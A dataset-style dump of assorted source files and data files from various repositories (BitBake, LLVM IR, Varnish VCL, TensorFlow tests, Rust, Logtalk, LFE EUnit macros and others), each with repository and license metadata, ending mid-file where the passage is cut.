content
stringlengths
4
1.04M
lang
stringclasses
358 values
score
int64
0
5
repo_name
stringlengths
5
114
repo_path
stringlengths
4
229
repo_licenses
listlengths
1
8
# # This recipe is used to resize SD card partition. # SUMMARY = "Resize sd card partition application" LICENSE = "MIT" LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302" SRC_URI = " \ file://resize-part \ " S = "${WORKDIR}" INSANE_SKIP_${PN} += "installed-vs-shipped" FILESEXTRAPATHS_prepend := "${THISDIR}/files:" RDEPENDS_${PN} = "parted e2fsprogs-resize2fs" COMPATIBLE_MACHINE = "^$" COMPATIBLE_MACHINE_zynq = "zynq" COMPATIBLE_MACHINE_zynqmp = "zynqmp" COMPATIBLE_MACHINE_versal = "versal" do_install() { install -d ${D}/${bindir} install -d ${D}/${datadir}/resize_fs install -m 0755 ${S}/resize-part ${D}/${datadir}/resize_fs ln -sf -r ${D}${datadir}/resize_fs/resize-part ${D}/${bindir}/resize-part } FILES_${PN} += "${datadir}/*"
BitBake
4
hito0512/Vitis-AI
Whole-App-Acceleration/apps/resnet50/build_flow/DPUCVDX8G_vck190/vck190_platform/sw/petalinux/project-spec/meta-user/recipes-apps/resize-part/resize-part.bb
[ "Apache-2.0" ]
# - Config file for the @(project_name) package # It defines the following variables # @(project_name)_INCLUDE_DIRS - include directories for FooBar # @(project_name)_LIBRARIES - libraries to link against # @(project_name)_EXECUTABLE - the bar executable set(@(project_name)_INCLUDE_DIRS "@@CONF_INCLUDE_DIRS@@") # Our library dependencies (contains definitions for IMPORTED targets) include("${@(project_name)_DIR}/export_@(project_name).cmake") # These are IMPORTED targets created by @(project_name)Targets.cmake @[if cpp_library_name]@ set(@(project_name)_LIBRARIES @(cpp_library_name)) @[end if] @[if cpp_node_name]@ set(@(project_name)_EXECUTABLE @(cpp_node_name)) @[end if]
EmberScript
4
sunbo57123/ros2cli_common_extension
ros2pkg/ros2pkg/resource/cmake/Config.cmake.in.em
[ "Apache-2.0" ]
target datalayout = "e-m:e-p:32:32-i64:64-v128:64:128-a:0:32-n32-S64" target triple = "armv7m-none-eabi" %runtime.typecodeID = type { %runtime.typecodeID*, i32, %runtime.interfaceMethodInfo* } %runtime.interfaceMethodInfo = type { i8*, i32 } @"reflect/types.type:basic:uint8" = private constant %runtime.typecodeID zeroinitializer @"reflect/types.type:basic:int" = private constant %runtime.typecodeID zeroinitializer @"reflect/types.type:named:Number" = private constant %runtime.typecodeID { %runtime.typecodeID* @"reflect/types.type:basic:int", i32 0, %runtime.interfaceMethodInfo* null } declare void @runtime.printuint8(i8) declare void @runtime.printint16(i16) declare void @runtime.printint32(i32) declare void @runtime.printptr(i32) declare void @runtime.printnl() declare void @runtime.nilPanic(i8*, i8*) define void @printInterfaces() { call void @printInterface(i32 ptrtoint (%runtime.typecodeID* @"reflect/types.type:basic:int" to i32), i8* inttoptr (i32 5 to i8*)) call void @printInterface(i32 ptrtoint (%runtime.typecodeID* @"reflect/types.type:basic:uint8" to i32), i8* inttoptr (i8 120 to i8*)) call void @printInterface(i32 ptrtoint (%runtime.typecodeID* @"reflect/types.type:named:Number" to i32), i8* inttoptr (i32 3 to i8*)) ret void } define void @printInterface(i32 %typecode, i8* %value) { %typeassert.ok1 = call i1 @"Unmatched$typeassert"(i32 %typecode) br i1 %typeassert.ok1, label %typeswitch.Unmatched, label %typeswitch.notUnmatched typeswitch.Unmatched: ; preds = %0 %unmatched = ptrtoint i8* %value to i32 call void @runtime.printptr(i32 %unmatched) call void @runtime.printnl() ret void typeswitch.notUnmatched: ; preds = %0 %typeassert.ok = call i1 @"Doubler$typeassert"(i32 %typecode) br i1 %typeassert.ok, label %typeswitch.Doubler, label %typeswitch.notDoubler typeswitch.Doubler: ; preds = %typeswitch.notUnmatched %1 = call i32 @"(Doubler).Double"(i8* %value, i8* null, i32 %typecode, i8* null) call void @runtime.printint32(i32 %1) ret void typeswitch.notDoubler: ; preds = %typeswitch.notUnmatched %typeassert.ok2 = icmp eq i32 ptrtoint (%runtime.typecodeID* @"reflect/types.type:basic:uint8" to i32), %typecode br i1 %typeassert.ok2, label %typeswitch.byte, label %typeswitch.notByte typeswitch.byte: ; preds = %typeswitch.notDoubler %byte = ptrtoint i8* %value to i8 call void @runtime.printuint8(i8 %byte) call void @runtime.printnl() ret void typeswitch.notByte: ; preds = %typeswitch.notDoubler br i1 false, label %typeswitch.int16, label %typeswitch.notInt16 typeswitch.int16: ; preds = %typeswitch.notByte %int16 = ptrtoint i8* %value to i16 call void @runtime.printint16(i16 %int16) call void @runtime.printnl() ret void typeswitch.notInt16: ; preds = %typeswitch.notByte ret void } define i32 @"(Number).Double"(i32 %receiver, i8* %parentHandle) { %ret = mul i32 %receiver, 2 ret i32 %ret } define i32 @"(Number).Double$invoke"(i8* %receiverPtr, i8* %parentHandle) { %receiver = ptrtoint i8* %receiverPtr to i32 %ret = call i32 @"(Number).Double"(i32 %receiver, i8* null) ret i32 %ret } define internal i32 @"(Doubler).Double"(i8* %0, i8* %1, i32 %actualType, i8* %parentHandle) unnamed_addr { entry: %"named:Number.icmp" = icmp eq i32 %actualType, ptrtoint (%runtime.typecodeID* @"reflect/types.type:named:Number" to i32) br i1 %"named:Number.icmp", label %"named:Number", label %"named:Number.next" "named:Number": ; preds = %entry %2 = call i32 @"(Number).Double$invoke"(i8* %0, i8* %1) ret i32 %2 "named:Number.next": ; preds = %entry call void @runtime.nilPanic(i8* undef, i8* undef) unreachable } define internal i1 @"Doubler$typeassert"(i32 %actualType) unnamed_addr { entry: %"named:Number.icmp" = icmp eq i32 %actualType, ptrtoint (%runtime.typecodeID* @"reflect/types.type:named:Number" to i32) br i1 %"named:Number.icmp", label %then, label %"named:Number.next" then: ; preds = %entry ret i1 true "named:Number.next": ; preds = %entry ret i1 false } define internal i1 @"Unmatched$typeassert"(i32 %actualType) unnamed_addr { entry: ret i1 false then: ; No predecessors! ret i1 true }
LLVM
3
ofauchon/tinygo
transform/testdata/interface.out.ll
[ "Apache-2.0" ]
<template> <v-parallax src="https://cdn.vuetifyjs.com/images/parallax/material.jpg"></v-parallax> </template>
Vue
3
Nemikolh/vuetify
packages/vuetifyjs.com/src/releases/0.17/examples/parallax/default.vue
[ "MIT" ]
#include "e.h" exp $STANDBAC pro $STANDBAC,0 ret 0 end 0
Eiffel
0
wyan/ack
lang/a68s/liba68s/standback.e
[ "BSD-3-Clause" ]
# # This is an example VCL file for Varnish. # # It does not do anything by default, delegating control to the # builtin VCL. The builtin VCL is called when there is no explicit # return statement. # # See the VCL chapters in the Users Guide at https://www.varnish-cache.org/docs/ # and http://varnish-cache.org/trac/wiki/VCLExamples for more examples. # Marker to tell the VCL compiler that this VCL has been adapted to the # new 4.0 format. vcl 4.0; import std; import directors; # Default backend definition. Set this to point to your content server. backend default { .host = "web"; .port = "8001"; .probe = { #.url = "/"; # short easy way (GET /) # We prefer to only do a HEAD / .request = "HEAD / HTTP/1.1" "Host: web" "Connection: close" "User-Agent: Varnish Health Probe"; .interval = 5s; # check the health of each backend every 5 seconds .timeout = 1s; # timing out after 1 second. .window = 5; # If 3 out of the last 5 polls succeeded the backend is considered healthy, otherwise it will be marked as sick .threshold = 3; } } sub vcl_init { new cluster1 = directors.round_robin(); cluster1.add_backend(default); } sub vcl_recv { # Happens before we check if we have this in cache already. # # Typically you clean up the request here, removing cookies you don't need, # rewriting the request, etc. set req.backend_hint = cluster1.backend(); } sub vcl_backend_response { set beresp.do_esi = true; // Enable ESI } sub vcl_deliver { if (obj.hits > 0) { set resp.http.X-Cache = "HIT"; } else { set resp.http.X-Cache = "MISS"; } }
VCL
4
elboulehmi/docker-swarm-
varnish/default.vcl
[ "MIT" ]
LITHO,CANAL,R 005969,A,B,B,E,B,D,B,B,C,C,A,D,D,B,B,E,E,D,B,E,C,B,B,D,E,C,A,B,D,A,A,B,A,B,E,B,C,C,A,E,B,E,C,B,C,A,E,E,A,D,B,C,B,A,B,E,A,B,A,B,C,C,D,B,D,C,D,C,C,C,C,E,B,E,D,B,C,C,E,D,B,A,B,B,D,B,E,A,D,B,D,C,B,B,E,A,D,A,C,E,C
IDL
0
plandauro/admision
storage/calificacion/claves_a.dlm
[ "MIT" ]
$$ MODE TUSCRIPT,{} string="alphaBETA" lowercase =EXCHANGE(string," {&a} {-0-} ") uppercase1=EXCHANGE(string," {&a} {-0+} ") uppercase2=CAPS (string) PRINT lowercase PRINT uppercase1 PRINT uppercase2
Turing
3
LaudateCorpus1/RosettaCodeData
Task/String-case/TUSCRIPT/string-case.tu
[ "Info-ZIP" ]
*> Test Program identification division. program-id. ok-test. procedure division. display "OK" goback. end program ok-test.
COBOL
2
ShaneLee/piston
packages/cobol/3.1.2/test.cob
[ "MIT" ]
# Copyright 2019 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Test cases for complex numbers division.""" import os import numpy as np from tensorflow.compiler.tests import xla_test from tensorflow.python.framework import dtypes from tensorflow.python.ops import array_ops from tensorflow.python.ops import gen_math_ops from tensorflow.python.platform import googletest os.environ["XLA_FLAGS"] = ("--xla_cpu_fast_math_honor_nans=true " "--xla_cpu_fast_math_honor_infs=true") class ComplexNumbersDivisionTest(xla_test.XLATestCase): """Test cases for complex numbers division operators.""" def _testBinary(self, op, a, b, expected, equality_test=None): with self.session() as session: with self.test_scope(): pa = array_ops.placeholder(dtypes.as_dtype(a.dtype), a.shape, name="a") pb = array_ops.placeholder(dtypes.as_dtype(b.dtype), b.shape, name="b") output = op(pa, pb) result = session.run(output, {pa: a, pb: b}) if equality_test is None: equality_test = self.assertAllCloseAccordingToType equality_test(np.real(result), np.real(expected), rtol=1e-3) equality_test(np.imag(result), np.imag(expected), rtol=1e-3) def testComplexOps(self): for dtype in self.complex_types: # Test division by 0 scenarios. self._testBinary( gen_math_ops.real_div, np.array([ complex(1, 1), complex(1, np.inf), complex(1, np.nan), complex(np.inf, 1), complex(np.inf, np.inf), complex(np.inf, np.nan), complex(np.nan, 1), complex(np.nan, np.inf), complex(np.nan, np.nan), complex(-np.inf, np.nan), ], dtype=dtype), np.array([ 0 + 0j, 0 + 0j, 0 + 0j, 0 + 0j, 0 + 0j, 0 + 0j, 0 + 0j, 0 + 0j, 0 + 0j, 0.0 + 0j, ], dtype=dtype), expected=np.array([ complex(np.inf, np.inf), complex(np.inf, np.inf), complex(np.inf, np.nan), complex(np.inf, np.inf), complex(np.inf, np.inf), complex(np.inf, np.nan), complex(np.nan, np.inf), complex(np.nan, np.inf), complex(np.nan, np.nan), complex(-np.inf, np.nan), ], dtype=dtype)) # Test division with finite numerator, inf/nan denominator. self._testBinary( gen_math_ops.real_div, np.array([ 1 + 1j, 1 + 1j, 1 + 1j, 1 + 1j, 1 + 1j, 1 + 1j, 1 + 1j, 1 + 1j, 1 + 1j, ], dtype=dtype), np.array( [ complex(1, np.inf), complex(1, np.nan), complex(np.inf, 1), complex(np.inf, np.inf), # C++ and Python diverge here. complex(np.inf, np.nan), # C++ and Python diverge here. complex(np.nan, 1), complex(np.nan, np.inf), # C++ and Python diverge here. complex(np.nan, -np.inf), # C++ and Python diverge here. complex(np.nan, np.nan), ], dtype=dtype), expected=np.array( [ (1 + 1j) / complex(1, np.inf), (1 + 1j) / complex(1, np.nan), (1 + 1j) / complex(np.inf, 1), complex(0 + 0j), # C++ and Python diverge here. complex(0 + 0j), # C++ and Python diverge here. (1 + 1j) / complex(np.nan, 1), complex(0 + 0j), # C++ and Python diverge here. complex(0 - 0j), # C++ and Python diverge here. (1 + 1j) / complex(np.nan, np.nan), ], dtype=dtype)) # Test division with inf/nan numerator, infinite denominator. self._testBinary( gen_math_ops.real_div, np.array([ complex(1, np.inf), complex(1, np.nan), complex(np.inf, 1), complex(np.inf, np.inf), complex(np.inf, np.nan), complex(np.nan, 1), complex(np.nan, np.inf), complex(np.nan, np.nan), complex(np.nan, -np.inf), ], dtype=dtype), np.array([ 1 + 1j, 1 + 1j, 1 + 1j, 1 + 1j, 1 + 1j, 1 + 1j, 1 + 1j, 1 + 1j, -1 - 1j, ], dtype=dtype), expected=np.array( [ complex(np.inf, np.inf), # C++ and Python diverge here. complex(1 / np.nan) / (1 + 1j), complex(np.inf / 1) / (1 + 1j), complex(np.inf, -np.nan), # C++ and Python diverge here. complex(np.inf, -np.inf), # C++ and Python diverge here. complex(np.nan / 1) / (1 + 1j), complex(np.inf, np.inf), # C++ and Python diverge here. complex(np.nan / np.nan) / (1 + 1j), complex(np.inf, np.inf), # C++ and Python diverge here. ], dtype=dtype)) if __name__ == "__main__": googletest.main()
Python
4
EricRemmerswaal/tensorflow
tensorflow/compiler/tests/complex_div_test.py
[ "Apache-2.0" ]
10 5 0 0 0 1 4 1 2 4 3 [0] [0] [0] [0] 1 1 2 6 10 [3] [9] 2 1 3 8 5 10 [15] [5] [4] 3 1 1 8 [13] 4 1 1 6 [13] 5 1 2 7 2 [0] [-6] 6 1 1 9 [7] 7 1 1 11 [9] 8 1 1 11 [10] 9 1 3 11 6 4 [10] [-19] [-24] 10 1 2 11 1 [1] [-10] 11 1 0 0 1 0 0 0 0 0 0 1 1 3 2 0 3 0 4 2 1 7 4 4 0 0 0 3 1 10 2 3 2 5 3 4 1 5 2 1 0 1 1 5 1 1 0 1 0 0 0 6 1 10 0 3 0 0 0 7 1 9 0 4 4 0 0 8 1 10 0 2 0 0 0 9 1 10 1 2 1 4 5 10 1 1 0 4 0 0 0 11 1 0 0 0 0 0 0 6 6 5 5 6
Eagle
0
klorel/or-tools
examples/data/rcpsp/single_mode_max_delay/sm_j10/psp13.sch
[ "Apache-2.0" ]
.. meta:: :description: Guides for integrating Hasura with monitoring frameworks :keywords: hasura, docs, integration, monitoring, monitoring framework .. _guides_monitoring_frameworks: Guides: Integrating with monitoring frameworks ============================================== .. contents:: Table of contents :backlinks: none :depth: 1 :local: The following posts demonstrate integrating the Hasura GraphQL engine logs with some external monitoring frameworks: - `Blog: GraphQL Observability with Hasura GraphQL engine and Honeycomb <https://hasura.io/blog/graphql-observability-with-hasura-graphql-engine-and-honeycomb-ee0a1a836c41/>`__ - `Blog: Uptime Monitoring for Hasura GraphQL engine with DataDog on GKE <https://hasura.io/blog/uptime-monitoring-for-hasura-graphql-engine-with-datadog-on-gke-4faff5832e7f/>`__ .. admonition:: Native integrations for Hasura Cloud :class: dhc Hasura Cloud includes native integrations for monitoring frameworks. The following guides explain how to add Datadog and New Relic. - :ref:`Adding Datadog native integration with Hasura Cloud <ss_datadog_integration>` - :ref:`Adding New Relic native integration with Hasura Cloud <ss_newrelic_integration>`
reStructuredText
2
gh-oss-contributor/graphql-engine-1
docs/graphql/core/guides/monitoring/index.rst
[ "Apache-2.0", "MIT" ]
class val ProcessError let error_type: ProcessErrorType let message: (String | None) new val create(error_type': ProcessErrorType, message': (String | None) = None) => error_type = error_type' message = message' fun string(): String iso^ => match message | let m: String => recover let etc = error_type.string() let err = String(etc.size() + 2 + m.size()) err.append(consume etc) err.append(": ") err.append(m) err end else error_type.string() end type ProcessErrorType is ( ExecveError | PipeError | ForkError | WaitpidError | WriteError | KillError | CapError | ChdirError | UnknownError ) primitive ExecveError fun string(): String iso^ => "ExecveError".clone() primitive PipeError fun string(): String iso^ => "PipeError".clone() primitive ForkError fun string(): String iso^ => "ForkError".clone() primitive WaitpidError fun string(): String iso^ => "WaitpidError".clone() primitive WriteError fun string(): String iso^ => "WriteError".clone() primitive KillError // Not thrown at this time fun string(): String iso^ => "KillError".clone() primitive CapError fun string(): String iso^ => "CapError".clone() primitive ChdirError fun string(): String iso^ => "ChdirError".clone() primitive UnknownError fun string(): String iso^ => "UnknownError".clone()
Pony
4
rtpax/ponyc
packages/process/process_error.pony
[ "BSD-2-Clause" ]
DROP KEYSPACE IF EXISTS gateway;
SQL
1
zeesh49/tutorials
jhipster/jhipster-microservice/gateway-app/src/main/resources/config/cql/drop-keyspace.cql
[ "MIT" ]
#include <oxstd.h> #include <oxdraw.h> #include <oxprob.h> #import <modelbase> #import <simula> #include <oxfloat.h> main(){ decl vX, vY, mZ; //decl iCorrect, dSigma2_eta, dMu, dPhi ; //dMu = 0.0506437; //we fix dMu because log((81/(77+81))/(1-(81/(77+81)))) = 0.0506437 //decl dPhi_LB, dPhi_Steps, dPhi_UB; //dPhi_LB = 0; //dPhi_Steps = 0.1; //dPhi_UB = 1; // decl dSigma2_Eta_LB, dSigma2_Eta_Steps, dSigma2_Eta_UB; // dSigma2_Eta_LB = 0.1; // dSigma2_Eta_Steps = 0.1; // dSigma2_Eta_UB = 10; decl iN = 100; vX = zeros(iN,1); //vX are sigma2_eta vY = zeros(iN,1); mZ = zeros(sizerc(vX),sizerc(vY)); for(decl i = 0; i<iN;i++){ vX[i] = i; for(decl w = 0; w<iN ; w++){ vY[w] = w; mZ[i][w] = log(50^2-(i-50)^2)+log(50^2-fabs(w-50)^2); } } // decl iMaxCorrect = maxc(maxc(mZ)'); // // print("\nMax Correct estimate: ", iMaxCorrect); // print("\nWith sigma2_eta = ",vX[maxcindex(maxc( mZ' )')], " dPhi = ", vY[maxcindex(maxc(mZ)')]); SetDrawWindow("3d plot"); DrawXYZ( 0,vY, vX, mZ,0 , "vY", "vx", "vX+vY"); ShowDrawWindow(); }
Ox
3
tamerdilaver/Simulation
test_3d_plot.ox
[ "MIT" ]
using System; namespace HelloWorld { class Program { static void Main() { Console.WriteLine("Hello World"); } } }
Brainfuck
3
Gabrielarodrigues10/ga
b/Beef.bf
[ "MIT" ]
--TEST-- Allow self and parent in use function statement --FILE-- <?php namespace { use function self as foo; use function parent as bar; } ?> --EXPECT--
PHP
3
thiagooak/php-src
Zend/tests/use_function/self_parent.phpt
[ "PHP-3.01" ]
describe("foreach should iterate through range", || j := 0 total := 0 for (i in 0..10) { total += 1 expect(j, i) j += 1 } expect(10, total) )
ooc
3
shamanas/rock
test/compiler/control/foreach-range.ooc
[ "MIT" ]
// compile-flags: --edition 2018 #![feature(try_blocks)] fn foo() -> Option<()> { Some(()) } fn main() { let _: Option<f32> = try { foo()?; 42 //~^ ERROR type mismatch }; let _: Option<i32> = try { foo()?; }; //~^ ERROR type mismatch }
Rust
3
Eric-Arellano/rust
src/test/ui/try-block/try-block-type-error.rs
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
/*--------------------------------------------------------------------------------------------- * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for license information. *--------------------------------------------------------------------------------------------*/ import { Disposable } from 'vscode'; import { PushErrorHandler } from './api/git'; export interface IPushErrorHandlerRegistry { registerPushErrorHandler(provider: PushErrorHandler): Disposable; getPushErrorHandlers(): PushErrorHandler[]; }
TypeScript
3
sbj42/vscode
extensions/git/src/pushError.ts
[ "MIT" ]
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% % % This file is part of Logtalk <https://logtalk.org/> % Copyright 2004 Tom Schrijvers % Copyright 2021 Paulo Moura <pmoura@logtalk.org> % SPDX-License-Identifier: BSD-2-Clause % % Redistribution and use in source and binary forms, with or without % modification, are permitted provided that the following conditions are met: % % * Redistributions of source code must retain the above copyright notice, this % list of conditions and the following disclaimer. % % * Redistributions in binary form must reproduce the above copyright notice, % this list of conditions and the following disclaimer in the documentation % and/or other materials provided with the distribution. % % THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" % AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE % IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE % DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE % FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL % DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR % SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER % CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, % OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE % OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. % %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% :- set_logtalk_flag(hook, toychrdb). :- object(dom, extends(toychrdb)). dom(_, []) <=> fail. dom(N, [M]) <=> N = M. dom(N, Domain) <=> nonvar(N) | list::memberchk(N, Domain). dom(N, Domain1), dom(N, Domain2) <=> sort(Domain1, Set1), sort(Domain2, Set2), set::intersection(Set1, Set2, Set), dom(N, Set). :- end_object.
Logtalk
3
PaulBrownMagic/logtalk3
ports/toychr/examples/dom.lgt
[ "Apache-2.0" ]
// compile-flags: --llvm-args
Rust
0
mbc-git/rust
src/test/ui/invalid-compile-flags/codegen-option-without-group.rs
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
// Copyright (c) Microsoft Corporation. // Licensed under the MIT license. #define DEFINE_CONSOLEV2_PROPERTIES #define INC_OLE2 #define NOMINMAX #define WIN32_NO_STATUS #include <windows.h> #undef WIN32_NO_STATUS // From ntdef.h, but that can't be included or it'll fight over PROBE_ALIGNMENT and other such arch specific defs typedef _Return_type_success_(return >= 0) LONG NTSTATUS; /*lint -save -e624 */ // Don't complain about different typedefs. typedef NTSTATUS* PNTSTATUS; /*lint -restore */ // Resume checking for different typedefs. #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #define INLINE_NTSTATUS_FROM_WIN32 1 // Must use inline NTSTATUS or it will call the wrapped function twice. #pragma warning(push) #pragma warning(disable : 4430) // Must disable 4430 "default int" warning for C++ because ntstatus.h is inflexible SDK definition. #include <ntstatus.h> #pragma warning(pop) #ifdef EXTERNAL_BUILD #include <ShlObj.h> #else #include <shlobj_core.h> #endif #include <strsafe.h> #include <sal.h> // This includes support libraries from the CRT, STL, WIL, and GSL #include "LibraryIncludes.h" #include <winconp.h> #include "../host/settings.hpp" #include <pathcch.h> #include "conpropsp.hpp" #pragma region Definitions from DDK(wdm.h) FORCEINLINE PSINGLE_LIST_ENTRY PopEntryList( _Inout_ PSINGLE_LIST_ENTRY ListHead) { PSINGLE_LIST_ENTRY FirstEntry; FirstEntry = ListHead->Next; if (FirstEntry != nullptr) { ListHead->Next = FirstEntry->Next; } return FirstEntry; } FORCEINLINE VOID PushEntryList( _Inout_ PSINGLE_LIST_ENTRY ListHead, _Inout_ __drv_aliasesMem PSINGLE_LIST_ENTRY Entry) { Entry->Next = ListHead->Next; ListHead->Next = Entry; return; } #pragma endregion
C
3
hessedoneen/terminal
src/propslib/precomp.h
[ "MIT" ]
// check-pass #[derive( core::clone::Clone, core::marker::Copy, core::fmt::Debug, core::default::Default, core::cmp::Eq, core::hash::Hash, core::cmp::Ord, core::cmp::PartialEq, core::cmp::PartialOrd, )] struct Core; #[derive( std::clone::Clone, std::marker::Copy, std::fmt::Debug, std::default::Default, std::cmp::Eq, std::hash::Hash, std::cmp::Ord, std::cmp::PartialEq, std::cmp::PartialOrd, )] struct Std; fn main() { core::column!(); std::column!(); }
Rust
3
Eric-Arellano/rust
src/test/ui/macros/builtin-std-paths.rs
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
;; Include EUnit macros (include-lib "eunit/include/eunit.hrl") ;;;=================================================================== ;;; OTP 18 hacks ;;;=================================================================== (defmacro otp>=18? () `(try (>= (list_to_integer (erlang:system_info 'otp_release)) 18) (catch ((tuple _ _ _) 'false)))) (defmacro assertion-failed () `(if (otp>=18?) 'assert 'assertion_failed)) (defmacro assert-equal-failed () `(if (otp>=18?) 'assertEqual 'assertEqual_failed)) (defmacro assert-not-equal-failed () `(if (otp>=18?) 'assertNotEqual 'assertNotEqual_failed)) (defmacro assert-exception-failed () `(if (otp>=18?) 'assertException 'assertException_failed)) (defmacro assert-match-failed () `(if (otp>=18?) 'assertMatch 'assertMatch_failed)) ;;;=================================================================== ;;; Helper functions ;;;=================================================================== (eval-when-compile (defun to-unders (atm) (re:replace (atom_to_list atm) "-" "_" '(#(return list) global))) ;; XXX this is no longer used anywhere, right? remove it! (defun list-body ((body) (when (is_list body)) body) ((body) (list body))) ) ; end of eval-when-compile ;;;=================================================================== ;;; Test definition macros ;;;=================================================================== (defmacro deftest "Define a standard EUnit test." ((cons name body) (let ((name_test (list_to_atom (++ (to-unders name) "_test")))) `(progn (defun ,name_test () ,@body) (extend-module () ((export (,name_test 0)))))))) (defmacro deftestgen "Define an EUnit test that uses test generators." ((cons name body) (let ((name_test_ (list_to_atom (++ (to-unders name) "_test_")))) `(progn (defun ,name_test_ () ,@body) (extend-module () ((export (,name_test_ 0)))))))) (defmacro deftestskip "Define a standard EUnit test that will be skipped (not run)." ((cons name body) `(defun ,(list_to_atom (++ (to-unders name) "_skip")) () ,@body))) ;;;=================================================================== ;;; Set-up and tear-down macros ;;;=================================================================== (defmacro defsetup (func-name) "Return a nullary function that calls `func-name/0`. A simple wrapper macro for defining the set-up function in a fixture." `(lambda () (,func-name))) (defmacro defteardown (func-name) "Return a unary function that calls `func-name/1` on its argument. A simple wrapper macro for defining the tear-down function in a fixture." `(lambda (x) (,func-name x))) ;;;=================================================================== ;;; Test case macros ;;;=================================================================== (eval-when-compile ;; Return true if we have (tuple "name"...) or #("Name"...) (defun is-named-tuple ((t) (when (is_tuple t)) (io_lib:printable_list (element 1 t))) ((t) (when (is_list t)) (andalso (== 'tuple (hd t)) (io_lib:printable_list (cadr t)))) ((other) 'false)) ;; Return (tuple "Name" lambda() ...) from (tuple "Name" ...) (defun mk-named-tuple ((t) (when (is_tuple t)) `(tuple ,(element 1 t) (lambda () ,(list_to_tuple (tl (tuple_to_list t)))))) ((t) (when (is_list t)) `(tuple ,(cadr t) (lambda () ,(list_to_tuple (cdr t))))))) (defmacro deftestcase "This macro is for defining EUnit tests for use by fixtures which have particular naming convention needs." ((cons func-name (cons args rest)) `(defun ,(list_to_atom (++ (to-unders func-name) "_test_case")) (,@args) (list ,@(lists:map (lambda (part) (if (is-named-tuple part) ;; Make a named tuple if part is a tuple and its ;; 1st element is printable (mk-named-tuple part) ;; Otherwise just make a lamdba `(lambda () ,part))) rest))))) (defmacro deftestcases funcs "This macro expects one or more function *names* which have been defined using [[deftestcase/255]]. Note that this macro is not composable with (deftestcase ...); you must define the test case and then only pass the test case name to this macro." (cond ((> (length funcs) 1) `(list ,@(lists:map (lambda (func-name) `(lambda (x) (,(list_to_atom (++ (to-unders func-name) "_test_case")) x))) funcs))) ('true `(lambda (x) (,(list_to_atom (++ (to-unders (car funcs)) "_test_case")) x))))) ;;;=================================================================== ;;; Assertion macros ;;;=================================================================== (defmacro is (bool-expression) "Assert `bool-expression` evaluates to `'true`." `(assert ,bool-expression)) (defmacro is-not (bool-expression) "Assert `bool-expression` evaluates to `'false`." `(assertNot ,bool-expression)) (defmacro is-match (guard expression) "Assert `guard` matches `expression`. The main reason to use [[is-match/2]], instead of matching with `=`, is that it produces more detailed error messages." `(assertMatch ,guard ,expression)) (defmacro is-not-match (guard expression) "The inverse case of [[is-match/2]], for convenience." `(assertNotMatch ,guard ,expression)) (defmacro is-equal (value expression) "Assert `expression` evaluates to `value`." `(assertEqual ,value ,expression)) (defmacro is-not-equal (value expression) "The inverse case of [[is-equal/2]], for convenience." `(assertNotEqual ,value ,expression)) (defmacro is-exception "Evaluate `expression`, catching any exception and testing that it matches `` `#(,expected-class ,expected-term) ``. If the match fails, or if no exception is thrown, an informative exception will be generated. [[is-error/2]], [[is-exit/2]] and [[is-throw/2]] are equivalent to using [[is-exception/3]] with an `expected-class` of `'error`, `'exit`, or `'throw`, respectively." (`(,expression) `(is-exception _ _ ,expression)) (`(,expected-class ,expected-term ,expression) `(assertException ,expected-class ,expected-term ,expression))) (defmacro is-not-exception "The inverse case of [[is-exception/3]], for convenience." (`(,expression) `(is-not-exception _ _ ,expression)) (`(,expected-class ,expected-term ,expression) `(assertNotException ,expected-class ,expected-term ,expression))) (defmacro is-error "Equivalent to [[is-exception/3]] with `'error` as `expected-class`." (`(,expression) `(is-error _ ,expression)) (`(,error ,body) `(assertError ,error ,body))) (defmacro is-not-error "The inverse case of [[is-error/2]], for convenience." (`(,expression) `(is-not-error _ ,expression)) (`(,expected-term ,expression) `(is-not-exception 'error ,expected-term ,expression))) (defmacro is-exit "Equivalent to [[is-exception/3]] with `'exit` as `expected-class`." (`(,expression) `(is-exit _ ,expression)) (`(,expected-term ,expression) `(assertExit ,expected-term ,expression))) (defmacro is-not-exit "The inverse case of [[is-exit/2]], for convenience." (`(,expression) `(is-not-exit _ ,expression)) (`(,expected-term ,expression) `(is-not-exception 'exit ,expected-term ,expression))) (defmacro is-throw "Equivalent to [[is-exception/3]] with `'throw` as `expected-class`." (`(,expression) `(is-throw _ ,expression)) (`(,expected-term ,expression) `(assertThrow ,expected-term ,expression))) (defmacro is-not-throw "The inverse case of [[is-throw/2]], for convenience." (`(,expression) `(is-not-throw _ ,expression)) (`(,expected-term ,expression) `(is-not-exception 'throw 